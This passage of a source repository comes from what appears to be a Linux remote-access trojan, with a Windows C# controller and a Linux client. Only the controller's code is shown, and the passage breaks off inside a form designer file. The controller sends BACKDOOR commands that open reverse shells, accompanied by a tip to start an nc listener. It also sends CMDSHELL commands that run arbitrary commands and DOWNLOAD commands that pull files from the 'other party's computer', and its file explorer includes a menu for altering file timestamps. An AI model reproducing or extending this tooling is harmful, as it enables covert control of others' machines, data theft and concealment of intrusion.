├── README.md
├── ctrl_server_win
├── ctrl_server.sln
├── ctrl_server.suo
└── ctrl_server
│ ├── Backdoor.Designer.cs
│ ├── Backdoor.cs
│ ├── Backdoor.resx
│ ├── CMDShell.Designer.cs
│ ├── CMDShell.cs
│ ├── CMDShell.resx
│ ├── Common.cs
│ ├── DownloadForm.Designer.cs
│ ├── DownloadForm.cs
│ ├── DownloadForm.resx
│ ├── ExplorerForm.Designer.cs
│ ├── ExplorerForm.cs
│ ├── ExplorerForm.resx
│ ├── Form1.Designer.cs
│ ├── Form1.cs
│ ├── Form1.resx
│ ├── ModifyTime.Designer.cs
│ ├── ModifyTime.cs
│ ├── ModifyTime.resx
│ ├── Program.cs
│ ├── Properties
│ ├── AssemblyInfo.cs
│ ├── Resources.Designer.cs
│ ├── Resources.resx
│ ├── Settings.Designer.cs
│ └── Settings.settings
│ ├── RenameForm.Designer.cs
│ ├── RenameForm.cs
│ ├── RenameForm.resx
│ ├── Shell2.Designer.cs
│ ├── Shell2.cs
│ ├── Shell2.resx
│ ├── StateObject.cs
│ ├── Upload.Designer.cs
│ ├── Upload.cs
│ ├── Upload.resx
│ ├── UploadFileName.Designer.cs
│ ├── UploadFileName.cs
│ ├── UploadFileName.resx
│ ├── bin
│ └── Debug
│ │ ├── ctrl_server.exe
│ │ ├── ctrl_server.pdb
│ │ ├── ctrl_server.vshost.exe
│ │ └── ctrl_server.vshost.exe.manifest
│ ├── ctrl_server.csproj
│ └── obj
│ └── x86
│ └── Debug
│ ├── DesignTimeResolveAssemblyReferencesInput.cache
│ ├── GenerateResource-ResGen.read.1.tlog
│ ├── GenerateResource-ResGen.write.1.tlog
│ ├── ctrl_server.Backdoor.resources
│ ├── ctrl_server.CMDShell.resources
│ ├── ctrl_server.DownloadForm.resources
│ ├── ctrl_server.ExplorerForm.resources
│ ├── ctrl_server.FileName.resources
│ ├── ctrl_server.Form1.resources
│ ├── ctrl_server.ModifyTime.resources
│ ├── ctrl_server.Properties.Resources.resources
│ ├── ctrl_server.Rename.resources
│ ├── ctrl_server.Shell2.resources
│ ├── ctrl_server.Upload.resources
│ ├── ctrl_server.csproj.FileListAbsolute.txt
│ ├── ctrl_server.exe
│ └── ctrl_server.pdb
└── linux_client
├── Makefile
├── README
├── backdoor.c
├── download.c
├── explorer.c
├── main.c
├── refect.h
├── shell.c
├── shell2.c
└── upload.c
/README.md:
--------------------------------------------------------------------------------
1 | 一个比较简单的Linux的远控软件。
2 |
3 | linux_client为客户端。
4 |
5 | ctrl_server_win为服务器,运行在Windows,使用C#开发。
6 |
7 | power by im_bill
--------------------------------------------------------------------------------
/ctrl_server_win/ctrl_server.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 11.00
3 | # Visual Studio 2010
4 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "ctrl_server", "ctrl_server\ctrl_server.csproj", "{145AA3C8-B33C-477F-8C7F-310D57AD00CF}"
5 | EndProject
6 | Global
7 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
8 | Debug|x86 = Debug|x86
9 | Release|x86 = Release|x86
10 | EndGlobalSection
11 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
12 | {145AA3C8-B33C-477F-8C7F-310D57AD00CF}.Debug|x86.ActiveCfg = Debug|x86
13 | {145AA3C8-B33C-477F-8C7F-310D57AD00CF}.Debug|x86.Build.0 = Debug|x86
14 | {145AA3C8-B33C-477F-8C7F-310D57AD00CF}.Release|x86.ActiveCfg = Release|x86
15 | {145AA3C8-B33C-477F-8C7F-310D57AD00CF}.Release|x86.Build.0 = Release|x86
16 | EndGlobalSection
17 | GlobalSection(SolutionProperties) = preSolution
18 | HideSolutionNode = FALSE
19 | EndGlobalSection
20 | EndGlobal
21 |
--------------------------------------------------------------------------------
/ctrl_server_win/ctrl_server.suo:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/im-bill/linux-rc/982ea301dde12b95ec1a8e3357fe13eb9592a71b/ctrl_server_win/ctrl_server.suo
--------------------------------------------------------------------------------
/ctrl_server_win/ctrl_server/Backdoor.Designer.cs:
--------------------------------------------------------------------------------
1 | namespace ctrl_server
2 | {
3 | partial class Backdoor
4 | {
5 | ///
6 | /// Required designer variable.
7 | ///
8 | private System.ComponentModel.IContainer components = null;
9 |
10 | ///
11 | /// Clean up any resources being used.
12 | ///
13 | /// true if managed resources should be disposed; otherwise, false.
14 | protected override void Dispose(bool disposing)
15 | {
16 | if (disposing && (components != null))
17 | {
18 | components.Dispose();
19 | }
20 | base.Dispose(disposing);
21 | }
22 |
23 | #region Windows Form Designer generated code
24 |
25 | ///
26 | /// Required method for Designer support - do not modify
27 | /// the contents of this method with the code editor.
28 | ///
29 | private void InitializeComponent()
30 | {
31 | this.label1 = new System.Windows.Forms.Label();
32 | this.label2 = new System.Windows.Forms.Label();
33 | this.txtIP = new System.Windows.Forms.TextBox();
34 | this.label3 = new System.Windows.Forms.Label();
35 | this.txtPort = new System.Windows.Forms.TextBox();
36 | this.button1 = new System.Windows.Forms.Button();
37 | this.SuspendLayout();
38 | //
39 | // label1
40 | //
41 | this.label1.AutoSize = true;
42 | this.label1.Location = new System.Drawing.Point(40, 23);
43 | this.label1.Name = "label1";
44 | this.label1.Size = new System.Drawing.Size(41, 12);
45 | this.label1.TabIndex = 0;
46 | this.label1.Text = "提示:";
47 | //
48 | // label2
49 | //
50 | this.label2.AutoSize = true;
51 | this.label2.Location = new System.Drawing.Point(40, 178);
52 | this.label2.Name = "label2";
53 | this.label2.Size = new System.Drawing.Size(23, 12);
54 | this.label2.TabIndex = 1;
55 | this.label2.Text = "IP:";
56 | //
57 | // txtIP
58 | //
59 | this.txtIP.Location = new System.Drawing.Point(69, 175);
60 | this.txtIP.Name = "txtIP";
61 | this.txtIP.Size = new System.Drawing.Size(100, 21);
62 | this.txtIP.TabIndex = 2;
63 | //
64 | // label3
65 | //
66 | this.label3.AutoSize = true;
67 | this.label3.Location = new System.Drawing.Point(175, 178);
68 | this.label3.Name = "label3";
69 | this.label3.Size = new System.Drawing.Size(35, 12);
70 | this.label3.TabIndex = 3;
71 | this.label3.Text = "Port:";
72 | //
73 | // txtPort
74 | //
75 | this.txtPort.Location = new System.Drawing.Point(216, 175);
76 | this.txtPort.Name = "txtPort";
77 | this.txtPort.Size = new System.Drawing.Size(100, 21);
78 | this.txtPort.TabIndex = 4;
79 | //
80 | // button1
81 | //
82 | this.button1.Location = new System.Drawing.Point(337, 173);
83 | this.button1.Name = "button1";
84 | this.button1.Size = new System.Drawing.Size(75, 23);
85 | this.button1.TabIndex = 5;
86 | this.button1.Text = "Send";
87 | this.button1.UseVisualStyleBackColor = true;
88 | this.button1.Click += new System.EventHandler(this.button1_Click);
89 | //
90 | // Backdoor
91 | //
92 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F);
93 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
94 | this.ClientSize = new System.Drawing.Size(455, 245);
95 | this.Controls.Add(this.button1);
96 | this.Controls.Add(this.txtPort);
97 | this.Controls.Add(this.label3);
98 | this.Controls.Add(this.txtIP);
99 | this.Controls.Add(this.label2);
100 | this.Controls.Add(this.label1);
101 | this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle;
102 | this.Name = "Backdoor";
103 | this.Text = "Backdoor";
104 | this.Load += new System.EventHandler(this.Backdoor_Load);
105 | this.ResumeLayout(false);
106 | this.PerformLayout();
107 |
108 | }
109 |
110 | #endregion
111 |
112 | private System.Windows.Forms.Label label1;
113 | private System.Windows.Forms.Label label2;
114 | private System.Windows.Forms.TextBox txtIP;
115 | private System.Windows.Forms.Label label3;
116 | private System.Windows.Forms.TextBox txtPort;
117 | private System.Windows.Forms.Button button1;
118 | }
119 | }
--------------------------------------------------------------------------------
/ctrl_server_win/ctrl_server/Backdoor.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.ComponentModel;
4 | using System.Data;
5 | using System.Drawing;
6 | using System.Linq;
7 | using System.Text;
8 | using System.Windows.Forms;
9 | using System.Net.Sockets;
10 |
11 | namespace ctrl_server
12 | {
13 | public partial class Backdoor : Form
14 | {
15 | public Socket client_socket;
16 |
17 | public Backdoor()
18 | {
19 | InitializeComponent();
20 | }
21 |
22 |
23 | private void Backdoor_Load(object sender, EventArgs e)
24 | {
25 | string tip = "提示:\r\n";
26 | tip += "1、后门是反弹后门,所以先启动nc打开监听端口,\r\n 命令为“nc -vv -l -p 【端口号】。”\r\n";
27 | tip += "2、接下来填好IP和PORT后,向客户端发送启动后门的命令。";
28 | label1.Text = tip;
29 | }
30 |
31 | private void button1_Click(object sender, EventArgs e)
32 | {
33 | if (client_socket == null)
34 | {
35 | MessageBox.Show("Client Socket is NULL");
36 | return;
37 | }
38 |
39 | string cmd = "BACKDOOR\n";
40 | cmd += txtIP.Text + "\n";
41 | cmd += txtPort.Text + "\n";
42 | byte[] buf = ASCIIEncoding.ASCII.GetBytes(cmd);
43 | try
44 | {
45 | client_socket.Send(buf, buf.Length, SocketFlags.None);
46 | MessageBox.Show("Send Success!");
47 | }
48 | catch (Exception ex)
49 | {
50 | MessageBox.Show("Send FAILURE!\r\n" + ex.Message);
51 | }
52 |
53 | }
54 | }
55 | }
56 |
--------------------------------------------------------------------------------
/ctrl_server_win/ctrl_server/Backdoor.resx:
--------------------------------------------------------------------------------
1 |
2 |
3 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 | text/microsoft-resx
110 |
111 |
112 | 2.0
113 |
114 |
115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
116 |
117 |
118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
119 |
120 |
--------------------------------------------------------------------------------
/ctrl_server_win/ctrl_server/CMDShell.Designer.cs:
--------------------------------------------------------------------------------
1 | namespace ctrl_server
2 | {
3 | partial class CMDShell
4 | {
5 | ///
6 | /// Required designer variable.
7 | ///
8 | private System.ComponentModel.IContainer components = null;
9 |
10 | ///
11 | /// Clean up any resources being used.
12 | ///
13 | /// true if managed resources should be disposed; otherwise, false.
14 | protected override void Dispose(bool disposing)
15 | {
16 | if (disposing && (components != null))
17 | {
18 | components.Dispose();
19 | }
20 | base.Dispose(disposing);
21 | }
22 |
23 | #region Windows Form Designer generated code
24 |
25 | ///
26 | /// Required method for Designer support - do not modify
27 | /// the contents of this method with the code editor.
28 | ///
29 | private void InitializeComponent()
30 | {
31 | this.btnCmd = new System.Windows.Forms.Button();
32 | this.textBox1 = new System.Windows.Forms.TextBox();
33 | this.richTextBox1 = new System.Windows.Forms.RichTextBox();
34 | this.SuspendLayout();
35 | //
36 | // btnCmd
37 | //
38 | this.btnCmd.Location = new System.Drawing.Point(373, 31);
39 | this.btnCmd.Name = "btnCmd";
40 | this.btnCmd.Size = new System.Drawing.Size(75, 23);
41 | this.btnCmd.TabIndex = 0;
42 | this.btnCmd.Text = "CMD";
43 | this.btnCmd.UseVisualStyleBackColor = true;
44 | this.btnCmd.Click += new System.EventHandler(this.btnCmd_Click);
45 | //
46 | // textBox1
47 | //
48 | this.textBox1.Location = new System.Drawing.Point(38, 33);
49 | this.textBox1.Name = "textBox1";
50 | this.textBox1.Size = new System.Drawing.Size(285, 21);
51 | this.textBox1.TabIndex = 1;
52 | this.textBox1.TextChanged += new System.EventHandler(this.textBox1_TextChanged);
53 | //
54 | // richTextBox1
55 | //
56 | this.richTextBox1.Location = new System.Drawing.Point(38, 71);
57 | this.richTextBox1.Name = "richTextBox1";
58 | this.richTextBox1.ReadOnly = true;
59 | this.richTextBox1.Size = new System.Drawing.Size(365, 378);
60 | this.richTextBox1.TabIndex = 2;
61 | this.richTextBox1.Text = "";
62 | //
63 | // CMDShell
64 | //
65 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F);
66 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
67 | this.ClientSize = new System.Drawing.Size(460, 474);
68 | this.Controls.Add(this.richTextBox1);
69 | this.Controls.Add(this.textBox1);
70 | this.Controls.Add(this.btnCmd);
71 | this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle;
72 | this.Name = "CMDShell";
73 | this.Text = "Shell";
74 | this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.CMDShell_FormClosing);
75 | this.Load += new System.EventHandler(this.CMDShell_Load);
76 | this.ResumeLayout(false);
77 | this.PerformLayout();
78 |
79 | }
80 |
81 | #endregion
82 |
83 | private System.Windows.Forms.Button btnCmd;
84 | private System.Windows.Forms.TextBox textBox1;
85 | private System.Windows.Forms.RichTextBox richTextBox1;
86 | }
87 | }
--------------------------------------------------------------------------------
/ctrl_server_win/ctrl_server/CMDShell.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.ComponentModel;
4 | using System.Data;
5 | using System.Drawing;
6 | using System.Linq;
7 | using System.Text;
8 | using System.Windows.Forms;
9 | using System.Net.Sockets;
10 | using System.Net;
11 | using System.Threading;
12 |
13 | namespace ctrl_server
14 | {
15 | public partial class CMDShell : Form
16 | {
17 | public Socket client_socket;
18 |
19 | public CMDShell()
20 | {
21 | InitializeComponent();
22 | }
23 |
24 | private void textBox1_TextChanged(object sender, EventArgs e)
25 | {
26 |
27 | }
28 |
29 | private void btnCmd_Click(object sender, EventArgs e)
30 | {
31 | richTextBox1.Text = "";
32 | if (textBox1.Text == "")
33 | {
34 | MessageBox.Show("Enter cmd");
35 | return;
36 | }
37 | if (client_socket == null)
38 | {
39 | MessageBox.Show("Socket is null");
40 | }
41 | string cmd = "";
42 | cmd += "CMDSHELL\n"+textBox1.Text+"\n";
43 | byte [] buf = Encoding.UTF8.GetBytes(cmd);
44 | try
45 | {
46 |
47 | client_socket.Send(buf,buf.Length, SocketFlags.None); //发送命令
48 | }
49 | catch (Exception ex)
50 | {
51 | MessageBox.Show(ex.Message);
52 | return;
53 | }
54 |
55 |
56 | Form1.allDone.WaitOne();
57 | Socket res_client = Form1.resClientSocket;
58 | Form1.resClientSocket = null;
59 | Form1.allDone.Reset();
60 | if (res_client == null)
61 | {
62 | MessageBox.Show("接收反馈出错");
63 | return;
64 | }
65 |
66 | int len;
67 | buf = new byte[1024];
68 | while ((len = res_client.Receive(buf, 1023, SocketFlags.None)) > 0)
69 | {
70 | richTextBox1.Text += Encoding.UTF8.GetString(buf, 0, len);
71 | }
72 | res_client.Close();
73 | }
74 |
75 | private void CMDShell_Load(object sender, EventArgs e)
76 | {
77 | if (client_socket == null)
78 | {
79 | MessageBox.Show("Client Socket is nulll");
80 | this.Close();
81 | return;
82 | }
83 |
84 | }
85 |
86 |
87 |
88 | private void CMDShell_FormClosing(object sender, FormClosingEventArgs e)
89 | {
90 |
91 | }
92 | }
93 |
94 | }
95 |
96 |
97 |
--------------------------------------------------------------------------------
/ctrl_server_win/ctrl_server/CMDShell.resx:
--------------------------------------------------------------------------------
1 |
2 |
3 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 | text/microsoft-resx
110 |
111 |
112 | 2.0
113 |
114 |
115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
116 |
117 |
118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
119 |
120 |
--------------------------------------------------------------------------------
/ctrl_server_win/ctrl_server/Common.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using System.Net.Sockets;
6 |
7 | namespace ctrl_server
8 | {
9 | class Common
10 | {
11 | public static bool IsSocketConnected(Socket client)
12 | {
13 | bool blockingState = client.Blocking;
14 | try
15 | {
16 | byte[] tmp = new byte[1];
17 | client.Blocking = false;
18 | client.Send(tmp, 0, 0);
19 | return false;
20 | }
21 | catch (SocketException e)
22 | {
23 | // 产生 10035 == WSAEWOULDBLOCK 错误,说明被阻止了,但是还是连接的
24 | if (e.NativeErrorCode.Equals(10035))
25 | return false;
26 | else
27 | return true;
28 | }
29 | finally
30 | {
31 | client.Blocking = blockingState; // 恢复状态
32 | }
33 | }
34 |
35 | }
36 | }
37 |
--------------------------------------------------------------------------------
/ctrl_server_win/ctrl_server/DownloadForm.Designer.cs:
--------------------------------------------------------------------------------
1 | namespace ctrl_server
2 | {
3 | partial class DownloadForm
4 | {
5 | ///
6 | /// Required designer variable.
7 | ///
8 | private System.ComponentModel.IContainer components = null;
9 |
10 | ///
11 | /// Clean up any resources being used.
12 | ///
13 | /// true if managed resources should be disposed; otherwise, false.
14 | protected override void Dispose(bool disposing)
15 | {
16 | if (disposing && (components != null))
17 | {
18 | components.Dispose();
19 | }
20 | base.Dispose(disposing);
21 | }
22 |
23 | #region Windows Form Designer generated code
24 |
25 | ///
26 | /// Required method for Designer support - do not modify
27 | /// the contents of this method with the code editor.
28 | ///
29 | private void InitializeComponent()
30 | {
31 | this.label1 = new System.Windows.Forms.Label();
32 | this.label2 = new System.Windows.Forms.Label();
33 | this.txtSoucePath = new System.Windows.Forms.TextBox();
34 | this.txtSavePath = new System.Windows.Forms.TextBox();
35 | this.btnSave = new System.Windows.Forms.Button();
36 | this.btnDownload = new System.Windows.Forms.Button();
37 | this.label3 = new System.Windows.Forms.Label();
38 | this.saveFileDialog1 = new System.Windows.Forms.SaveFileDialog();
39 | this.SuspendLayout();
40 | //
41 | // label1
42 | //
43 | this.label1.AutoSize = true;
44 | this.label1.Location = new System.Drawing.Point(48, 35);
45 | this.label1.Name = "label1";
46 | this.label1.Size = new System.Drawing.Size(53, 12);
47 | this.label1.TabIndex = 0;
48 | this.label1.Text = "下载路径";
49 | //
50 | // label2
51 | //
52 | this.label2.AutoSize = true;
53 | this.label2.Location = new System.Drawing.Point(48, 82);
54 | this.label2.Name = "label2";
55 | this.label2.Size = new System.Drawing.Size(53, 12);
56 | this.label2.TabIndex = 1;
57 | this.label2.Text = "保存路径";
58 | //
59 | // txtSoucePath
60 | //
61 | this.txtSoucePath.Location = new System.Drawing.Point(119, 32);
62 | this.txtSoucePath.Name = "txtSoucePath";
63 | this.txtSoucePath.Size = new System.Drawing.Size(226, 21);
64 | this.txtSoucePath.TabIndex = 2;
65 | this.txtSoucePath.TextChanged += new System.EventHandler(this.textBox1_TextChanged);
66 | //
67 | // txtSavePath
68 | //
69 | this.txtSavePath.Location = new System.Drawing.Point(119, 79);
70 | this.txtSavePath.Name = "txtSavePath";
71 | this.txtSavePath.Size = new System.Drawing.Size(226, 21);
72 | this.txtSavePath.TabIndex = 3;
73 | //
74 | // btnSave
75 | //
76 | this.btnSave.Location = new System.Drawing.Point(391, 77);
77 | this.btnSave.Name = "btnSave";
78 | this.btnSave.Size = new System.Drawing.Size(75, 23);
79 | this.btnSave.TabIndex = 4;
80 | this.btnSave.Text = "保存";
81 | this.btnSave.UseVisualStyleBackColor = true;
82 | this.btnSave.Click += new System.EventHandler(this.btnSave_Click);
83 | //
84 | // btnDownload
85 | //
86 | this.btnDownload.Location = new System.Drawing.Point(183, 137);
87 | this.btnDownload.Name = "btnDownload";
88 | this.btnDownload.Size = new System.Drawing.Size(75, 23);
89 | this.btnDownload.TabIndex = 5;
90 | this.btnDownload.Text = "下载";
91 | this.btnDownload.UseVisualStyleBackColor = true;
92 | this.btnDownload.Click += new System.EventHandler(this.btnDownload_Click);
93 | //
94 | // label3
95 | //
96 | this.label3.AutoSize = true;
97 | this.label3.Location = new System.Drawing.Point(380, 35);
98 | this.label3.Name = "label3";
99 | this.label3.Size = new System.Drawing.Size(125, 12);
100 | this.label3.TabIndex = 6;
101 | this.label3.Text = "对方计算机的文件路径";
102 | //
103 | // DownloadForm
104 | //
105 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F);
106 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
107 | this.ClientSize = new System.Drawing.Size(524, 194);
108 | this.Controls.Add(this.label3);
109 | this.Controls.Add(this.btnDownload);
110 | this.Controls.Add(this.btnSave);
111 | this.Controls.Add(this.txtSavePath);
112 | this.Controls.Add(this.txtSoucePath);
113 | this.Controls.Add(this.label2);
114 | this.Controls.Add(this.label1);
115 | this.Name = "DownloadForm";
116 | this.Text = "DownloadForm";
117 | this.Load += new System.EventHandler(this.DownloadForm_Load);
118 | this.ResumeLayout(false);
119 | this.PerformLayout();
120 |
121 | }
122 |
123 | #endregion
124 |
125 | private System.Windows.Forms.Label label1;
126 | private System.Windows.Forms.Label label2;
127 | private System.Windows.Forms.TextBox txtSoucePath;
128 | private System.Windows.Forms.TextBox txtSavePath;
129 | private System.Windows.Forms.Button btnSave;
130 | private System.Windows.Forms.Button btnDownload;
131 | private System.Windows.Forms.Label label3;
132 | private System.Windows.Forms.SaveFileDialog saveFileDialog1;
133 | }
134 | }
--------------------------------------------------------------------------------
/ctrl_server_win/ctrl_server/DownloadForm.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.ComponentModel;
4 | using System.Data;
5 | using System.Drawing;
6 | using System.Linq;
7 | using System.Text;
8 | using System.Windows.Forms;
9 | using System.Net.Sockets;
10 | using System.IO;
11 | using System.Net;
12 | using System.Threading;
13 |
14 | namespace ctrl_server
15 | {
16 | public partial class DownloadForm : Form
17 | {
18 | public Socket client_socket;
19 |
20 | private FileStream fs;
21 | private int filesize;
22 |
23 | public DownloadForm()
24 | {
25 | InitializeComponent();
26 | }
27 |
28 | private void textBox1_TextChanged(object sender, EventArgs e)
29 | {
30 |
31 | }
32 |
33 | private void btnSave_Click(object sender, EventArgs e)
34 | {
35 | saveFileDialog1.Filter = "文本文件(*.txt)|*.txt|所有文件(*.*)|*.*";
36 | if (saveFileDialog1.ShowDialog() == System.Windows.Forms.DialogResult.OK)
37 | {
38 | txtSavePath.Text= saveFileDialog1.FileName;
39 | }
40 |
41 | }
42 |
43 | private void DownloadForm_Load(object sender, EventArgs e)
44 | {
45 | }
46 |
47 |
48 | private void btnDownload_Click(object sender, EventArgs e)
49 | {
50 | if (txtSavePath.Text == "")
51 | {
52 | MessageBox.Show("Save path is empty!!");
53 | return;
54 | }
55 | if (txtSoucePath.Text == "")
56 | {
57 | MessageBox.Show("下载路径为空");
58 | return;
59 | }
60 |
61 | string cmd = "";
62 | cmd += "DOWNLOAD\n";
63 | cmd += txtSoucePath.Text + "\n";
64 | byte[] buf = Encoding.ASCII.GetBytes(cmd);
65 | client_socket.Send(buf, buf.Length, SocketFlags.None);
66 |
67 | Form1.allDone.WaitOne();
68 | Socket res_client = Form1.resClientSocket;
69 | Form1.resClientSocket = null;
70 | Form1.allDone.Reset();
71 | if (res_client == null)
72 | {
73 | MessageBox.Show("反馈错误");
74 | return;
75 | }
76 | int len;
77 | buf = new byte[1024];
78 | len = res_client.Receive(buf, 0, 1024, SocketFlags.None);
79 | string tmpstr = Encoding.ASCII.GetString(buf, 0, len);
80 |
81 | int pos = tmpstr.IndexOf('\n');
82 | string flag = tmpstr.Substring(0, pos);
83 | if (flag != "SUCCESS")
84 | {
85 | res_client.Close();
86 | res_client = null;
87 | return;
88 | }
89 | tmpstr = tmpstr.Substring(pos+1);
90 | pos = tmpstr.IndexOf('\n');
91 | string lengStr = tmpstr.Substring(0, pos);
92 |
93 | filesize = int.Parse(lengStr);
94 | try
95 | {
96 | fs = new FileStream(txtSavePath.Text, FileMode.Create);
97 | }
98 | catch (Exception ex)
99 | {
100 | res_client.Send(Encoding.ASCII.GetBytes("FAILURE"));
101 | MessageBox.Show(ex.Message);
102 | return;
103 | }
104 | res_client.Send(Encoding.ASCII.GetBytes("SUCCESS"));
105 | int total = 0;
106 |
107 | while ((len = res_client.Receive(buf, buf.Length, SocketFlags.None)) > 0)
108 | {
109 | fs.Write(buf, 0, len);
110 | total += len;
111 | if (total >= filesize)
112 | {
113 | break;
114 | }
115 | }
116 |
117 | fs.Close();
118 | fs = null;
119 | res_client.Close();
120 | MessageBox.Show("下载成功");
121 |
122 | }
123 | }
124 | }
125 |
--------------------------------------------------------------------------------
/ctrl_server_win/ctrl_server/DownloadForm.resx:
--------------------------------------------------------------------------------
1 |
2 |
3 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 | text/microsoft-resx
110 |
111 |
112 | 2.0
113 |
114 |
115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
116 |
117 |
118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
119 |
120 |
121 | 17, 17
122 |
123 |
--------------------------------------------------------------------------------
/ctrl_server_win/ctrl_server/ExplorerForm.Designer.cs:
--------------------------------------------------------------------------------
1 | namespace ctrl_server
2 | {
3 | partial class ExplorerForm
4 | {
5 | ///
6 | /// Required designer variable.
7 | ///
8 | private System.ComponentModel.IContainer components = null;
9 |
10 | ///
11 | /// Clean up any resources being used.
12 | ///
13 | /// true if managed resources should be disposed; otherwise, false.
14 | protected override void Dispose(bool disposing)
15 | {
16 | if (disposing && (components != null))
17 | {
18 | components.Dispose();
19 | }
20 | base.Dispose(disposing);
21 | }
22 |
23 | #region Windows Form Designer generated code
24 |
25 | ///
26 | /// Required method for Designer support - do not modify
27 | /// the contents of this method with the code editor.
28 | ///
29 | private void InitializeComponent()
30 | {
31 | this.components = new System.ComponentModel.Container();
32 | System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(ExplorerForm));
33 | this.btnJump = new System.Windows.Forms.Button();
34 | this.btnUpload = new System.Windows.Forms.Button();
35 | this.textBox1 = new System.Windows.Forms.TextBox();
36 | this.label1 = new System.Windows.Forms.Label();
37 | this.treeView1 = new System.Windows.Forms.TreeView();
38 | this.listViewFile = new System.Windows.Forms.ListView();
39 | this.contextMenuStrip2 = new System.Windows.Forms.ContextMenuStrip(this.components);
40 | this.pasteToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
41 | this.imageList1 = new System.Windows.Forms.ImageList(this.components);
42 | this.contextMenuStrip1 = new System.Windows.Forms.ContextMenuStrip(this.components);
43 | this.deleteToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
44 | this.renameToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
45 | this.copyToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
46 | this.downloadToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
47 | this.modifyFiletTimeToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
48 | this.mtimeToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
49 | this.atimeToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
50 | this.ctimeToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
51 | this.saveFileDialog1 = new System.Windows.Forms.SaveFileDialog();
52 | this.openFileDialog1 = new System.Windows.Forms.OpenFileDialog();
53 | this.cutToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
54 | this.contextMenuStrip2.SuspendLayout();
55 | this.contextMenuStrip1.SuspendLayout();
56 | this.SuspendLayout();
57 | //
58 | // btnJump
59 | //
60 | this.btnJump.Location = new System.Drawing.Point(524, 12);
61 | this.btnJump.Name = "btnJump";
62 | this.btnJump.Size = new System.Drawing.Size(75, 23);
63 | this.btnJump.TabIndex = 0;
64 | this.btnJump.Text = "跳转";
65 | this.btnJump.UseVisualStyleBackColor = true;
66 | this.btnJump.Click += new System.EventHandler(this.button1_Click);
67 | //
68 | // btnUpload
69 | //
70 | this.btnUpload.Location = new System.Drawing.Point(615, 12);
71 | this.btnUpload.Name = "btnUpload";
72 | this.btnUpload.Size = new System.Drawing.Size(75, 23);
73 | this.btnUpload.TabIndex = 1;
74 | this.btnUpload.Text = "上传";
75 | this.btnUpload.UseVisualStyleBackColor = true;
76 | this.btnUpload.Click += new System.EventHandler(this.button2_Click);
77 | //
78 | // textBox1
79 | //
80 | this.textBox1.Location = new System.Drawing.Point(78, 14);
81 | this.textBox1.Name = "textBox1";
82 | this.textBox1.Size = new System.Drawing.Size(440, 21);
83 | this.textBox1.TabIndex = 2;
84 | this.textBox1.Text = "/";
85 | this.textBox1.TextChanged += new System.EventHandler(this.textBox1_TextChanged);
86 | //
87 | // label1
88 | //
89 | this.label1.AutoSize = true;
90 | this.label1.Location = new System.Drawing.Point(31, 17);
91 | this.label1.Name = "label1";
92 | this.label1.Size = new System.Drawing.Size(41, 12);
93 | this.label1.TabIndex = 3;
94 | this.label1.Text = "路径:";
